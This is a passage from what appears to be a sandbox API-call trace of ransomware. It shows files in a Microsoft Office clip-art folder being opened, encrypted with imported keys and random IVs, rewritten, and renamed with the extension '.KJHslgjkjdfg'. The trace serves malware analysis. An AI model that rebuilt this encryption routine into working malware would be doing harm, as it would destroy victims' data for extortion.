nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.322] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.322] SetEndOfFile (hFile=0x130) returned 1 [0231.388] GetProcessHeap () returned 0x2ef0000 [0231.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.388] GetProcessHeap () returned 0x2ef0000 [0231.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.kjhslgjkjdfg")) returned 1 [0231.390] CloseHandle (hObject=0x130) returned 1 [0231.390] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1 [0231.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.391] GetProcessHeap () returned 0x2ef0000 [0231.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.391] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.391] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0231.394] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.394] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.394] GetProcessHeap () returned 0x2ef0000 [0231.394] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.394] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.394] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.394] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.394] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.395] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.395] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.395] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.395] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6d86, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6d86, lpOverlapped=0x0) returned 1 [0231.396] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6d90, dwBufLen=0x6d90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6d90) returned 1 [0231.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.397] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6d90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6d90, lpOverlapped=0x0) returned 1 [0231.397] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.397] SetEndOfFile (hFile=0x130) returned 1 [0231.400] GetProcessHeap () returned 0x2ef0000 [0231.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.400] GetProcessHeap () returned 0x2ef0000 [0231.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.kjhslgjkjdfg")) returned 1 [0231.402] CloseHandle (hObject=0x130) returned 1 [0231.402] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1 [0231.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.404] GetProcessHeap () returned 0x2ef0000 [0231.404] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.404] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.404] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0231.406] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.406] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.406] GetProcessHeap () returned 0x2ef0000 [0231.406] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.406] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.406] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.406] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.407] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.407] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.407] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.407] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.407] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.407] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.407] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5e7b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5e7b, lpOverlapped=0x0) returned 1 [0231.408] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5e80, dwBufLen=0x5e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5e80) returned 1 [0231.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.409] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5e80, lpOverlapped=0x0) returned 1 [0231.409] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.409] SetEndOfFile (hFile=0x130) returned 1 [0231.412] GetProcessHeap () returned 0x2ef0000 [0231.412] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.412] GetProcessHeap () returned 0x2ef0000 [0231.412] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.kjhslgjkjdfg")) returned 1 [0231.414] CloseHandle (hObject=0x130) returned 1 [0231.414] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1 [0231.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.416] GetProcessHeap () returned 0x2ef0000 [0231.416] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.416] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.417] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0231.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.419] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.419] GetProcessHeap () returned 0x2ef0000 [0231.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.419] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.420] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.420] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.420] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.420] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.420] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.420] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7d84, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7d84, lpOverlapped=0x0) returned 1 [0231.422] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7d90, dwBufLen=0x7d90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7d90) returned 1 [0231.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.422] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7d90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7d90, lpOverlapped=0x0) returned 1 [0231.423] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.423] SetEndOfFile (hFile=0x130) returned 1 [0231.426] GetProcessHeap () returned 0x2ef0000 [0231.426] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.426] GetProcessHeap () returned 0x2ef0000 [0231.426] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.kjhslgjkjdfg")) returned 1 [0231.428] CloseHandle (hObject=0x130) returned 1 [0231.428] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1 [0231.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.429] GetProcessHeap () returned 0x2ef0000 [0231.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.433] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.433] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.433] GetProcessHeap () returned 0x2ef0000 [0231.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.433] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.433] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.433] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.437] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.437] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.437] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.437] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.437] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.437] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.438] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6090, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6090, lpOverlapped=0x0) returned 1 [0231.439] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6090, dwBufLen=0x6090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6090) returned 1 [0231.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.440] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6090, lpOverlapped=0x0) returned 1 [0231.440] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.440] SetEndOfFile (hFile=0x130) returned 1 [0231.443] GetProcessHeap () returned 0x2ef0000 [0231.443] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.443] GetProcessHeap () returned 0x2ef0000 [0231.443] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.kjhslgjkjdfg")) returned 